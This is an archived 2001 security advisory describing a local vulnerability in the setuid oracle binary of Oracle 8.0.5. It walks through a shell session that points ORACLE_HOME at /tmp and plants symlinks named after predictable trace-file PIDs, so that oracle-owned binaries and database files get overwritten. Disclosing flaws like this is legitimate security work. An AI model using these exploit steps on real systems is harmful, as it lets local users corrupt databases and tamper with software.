|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: Juan Manuel Pascual Escriba (pask
plazasite.com)Date: Thu Aug 02 2001 - 02:57:26 CDT
WWW.PLAZASITE.COM
System & Security Division
Title: Vulnerability in oracle binary in Oracle 8.0.5
Date: 11-12-2000
Platform: Only tested in Linux, but can be "exported" to others.
Impact: Any user compromise any file owned by oracle (DDBB owner).
Author: Juan Manuel Pascual (pask
plazasite.com)
Status: Vendor Contacted at 18th July 2001
PROBLEM SUMMARY:
There is a write permision checking error in oracle binary that can
be used by local
users to write any file owned by oracle.
IMPACT:
Any user with local access, can corrupt the database. Overwrite
oracle binaries, etc.
SOLUTION:
Chmod -s ;-)))).
STATUS:
Vendor was contacted .
----------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask
plazasite.com
Only for educational purposes. (corrupt a ddbb isnt an educational purpose!)
[pask
proves1 /tmp]$
[pask
proves1 /tmp]$ mkdir rdbms
[pask
proves1 /tmp]$ cd rdbms/
[pask
proves1 rdbms]$ mkdir log
[pask
proves1 rdbms]$ cd log
[pask
proves1 log]$
[pask
proves1 log]$ ls -alc
total 8
drwxrwxr-x 2 pask pask 4096 dic 14 02:33 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
[pask
proves1 log]$ export ORACLE_HOME=/tmp
[pask
proves1 log]$ export REAL_ORACLE_HOME=/usr/local/oracle/app/oracle/product/8.0.5
[pask
proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
[pask
proves1 log]$ ls -alc
total 12
drwxrwxr-x 2 pask pask 4096 dic 14 02:35 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
-rw-r----- 1 oracle pask 47 dic 14 02:35 ora_24028.trc
Upsssssssss a log owned by oracle with the structure ora_pid.trc
I can create:
[pask
proves1 log]$ ln -s $REAL_ORACLE_HOME/bin/lsnrctl ./ora_24050.trc
pask
proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask
proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask
proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask
proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
.
..
...
until the log will be my link .. and i overwrite the binary. what about dbf files and go on ....
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]